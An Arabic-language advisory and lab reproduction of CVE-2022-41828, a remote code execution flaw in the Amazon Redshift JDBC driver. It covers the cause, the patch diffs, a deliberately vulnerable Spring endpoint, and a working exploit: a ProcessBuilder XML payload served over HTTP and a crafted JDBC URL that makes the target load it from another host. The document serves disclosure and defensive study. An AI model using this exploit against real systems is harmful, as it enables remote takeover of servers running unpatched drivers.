
[CVE-2022-41828] تنفيذ تعليمات برمجية عن بُعد (RCE) في مشغل JDBC الخاص بـ Amazon AWS Redshift
برنامج تشغيل Amazon JDBC لـ Redshift هو برنامج تشغيل JDBC من النوع 4 يوفر الاتصال بقاعدة البيانات عبر واجهات برمجة تطبيقات JDBC القياسية المتاحة في منصة Java Enterprise Editions. يوفر البرنامج الوصول إلى Redshift من أي تطبيق Java أو خادم تطبيقات أو تطبيق صغير يدعم Java.
توجد مشكلة محتملة لتنفيذ الأوامر عن بعد في الإصدارات redshift-jdbc42 2.1.0.7 وما دون. عند استخدام الإضافات مع البرنامج، فإنه يُنشئ مثيلات الإضافات بناءً على أسماء فئات Java المقدمة عبر خصائص الاتصال sslhostnameverifier وsocketFactory وsslfactory و. في الإصدارات المتأثرة، لا يتحقق البرنامج مما إذا كانت فئة الإضافة تنفذ الواجهة المتوقعة قبل الإنشاء. قد يؤدي ذلك إلى تحميل فئات Java عشوائية، يمكن لمهاجم مطلع يتحكم في عنوان JDBC URL استخدامها لتحقيق تنفيذ التعليمات البرمجية عن بعد.
sslpasswordcallbackتم إصلاح هذه المشكلة في الإصدار redshift-jdbc-42 2.1.0.8 وما فوق
تنصح AWS العملاء الذين يستخدمون الإضافات بالترقية إلى الإصدار redshift-jdbc42 2.1.0.8 أو أعلى. لا توجد حلول بديلة معروفة لهذه المشكلة.
لإصلاح هذه المشكلة، تم إجراء تعديلات على 4 فئات Java مختلفة في الالتزام aws/amazon-redshift-jdbc-driver@9999659. هذه الفئات هي كما يلي، على التوالي.
@@ -38,7 +38,7 @@ public static SocketFactory getSocketFactory(Properties info) throws RedshiftExc
return SocketFactory.getDefault();
}
try {
//removed return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(
@@ -66,7 +66,7 @@ public static SSLSocketFactory getSslSocketFactory(Properties info) throws Redsh
if (classname.equals(RedshiftConnectionImpl.NON_VALIDATING_SSL_FACTORY))
classname = NonValidatingFactory.class.getName();
//removed return (SSLSocketFactory) ObjectFactory.instantiate(classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SSLSocketFactory.class, classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(

@@ -61,7 +61,7 @@ private CallbackHandler getCallbackHandler(Properties info) throws RedshiftExcep
String sslpasswordcallback = RedshiftProperty.SSL_PASSWORD_CALLBACK.get(info);
if (sslpasswordcallback != null) {
try {
//removed cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);
cbh = ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The password callback class provided {0} could not be instantiated.",

@@ -59,7 +59,7 @@ private static void verifyPeerName(RedshiftStream stream, Properties info, SSLSo
sslhostnameverifier = "RedshiftjdbcHostnameVerifier";
} else {
try {
//removed hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);
hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The HostnameVerifier class provided {0} could not be instantiated.",

@@ -34,13 +34,13 @@ public class ObjectFactory {
* @throws IllegalAccessException if something goes wrong
* @throws InvocationTargetException if something goes wrong
*/
//removed public static Object instantiate(String classname, Properties info, boolean tryString,
public static <T> T instantiate(Class<T> expectedClass, String classname, Properties info, boolean tryString, //added
String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException,
IllegalArgumentException, InstantiationException, IllegalAccessException,
InvocationTargetException {
Object[] args = {info};
Constructor<?> ctor = null; //removed
Class<?> cls = Class.forName(classname); //removed
Constructor<? extends T> ctor = null; //added
Class<? extends T> cls = Class.forName(classname).asSubclass(expectedClass); //added
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException nsme) {

لإعادة إنتاج CVE-2022-41828، تم تطوير تطبيق Java ضعيف باستخدام إطار Spring يستخدم إصدارًا ضعيفًا من برنامج تشغيل redshift-jdbc42 2.1.0.7 كمكتبة خارجية.
تمثل مقتطفات التعليمات البرمجية التالية محتوى ملف pom.xml.
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>RedshiftJdbcRce</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>RedshiftJdbcRce</name>
<description>RedshiftJdbcRce</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
<dependency>
<groupId>com.amazon.redshift</groupId>
<artifactId>redshift-jdbc42</artifactId>
<version>2.1.0.7</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

تمثل مقتطفات التعليمات البرمجية التالية محتوى فئة التحكم RedshiftJdbcRCE.java الموجودة في src/main/java/com/example/redshiftjdbcrce/controller/.
package com.example.redshiftjdbcrce.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.sql.DriverManager;
import java.sql.SQLException;
@RestController
public class RedshiftJdbcRCE {
@RequestMapping("/jdbcset")
public void jdbcSet(HttpServletRequest request, HttpServletResponse response) throws SQLException {
String jdbcurl = request.getParameter("jdbc");
DriverManager.getConnection(jdbcurl);
}
public static void main(String[] args) throws SQLException {
}
}

يمثل الملف التالي محتوى منشئ بنية مستند XML cmd.xml المستخدم أثناء الاستغلال.
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<!--<value>touch</value>-->
<!--<value>/tmp/CVE-2022-41828</value>-->
<value>gnome-calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
قبل تشغيل الثغرة، يتم تقديم ملف cmd.xml ذو الصلة عبر HTTP بحيث يمكن الوصول إليه من قبل الخادم الهدف.
root@kali:~$ python3 -m http.server 2121
لتشغيل/استغلال الثغرة، يتم إرسال طلب مع الحمولة على النحو التالي.
POST /jdbcset HTTP/1.1
Host: 127.0.0.1:8081
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
jdbc=jdbc:redshift://127.0.0.1:5439/testdb;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://172.22.0.43:2121/cmd.xml
HTTP/1.1 500
Content-Type: application/json
Date: Thu, 08 Dec 2022 13:58:14 GMT
Connection: close
Content-Length: 108
{
"timestamp": "2022-12-08T13:58:14.295+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/jdbcset"
}

لمزيد من المعلومات حول معالجة هذه الثغرة، يرجى زيارة الموارد التالية:
برنامج تشغيل AWS Redshift JDBC يفشل في التحقق من نوع الفئة أثناء إنشاء الكائناحتمال تنفيذ أوامر عن بعد في redshift-jdbc-42 <= 2.1.0.7aws/amazon-redshift-jdbc-driver@40b143baws/amazon-redshift-jdbc-driver@9999659CVE-2022-41828CVE-2022-41828CVE-2022-41828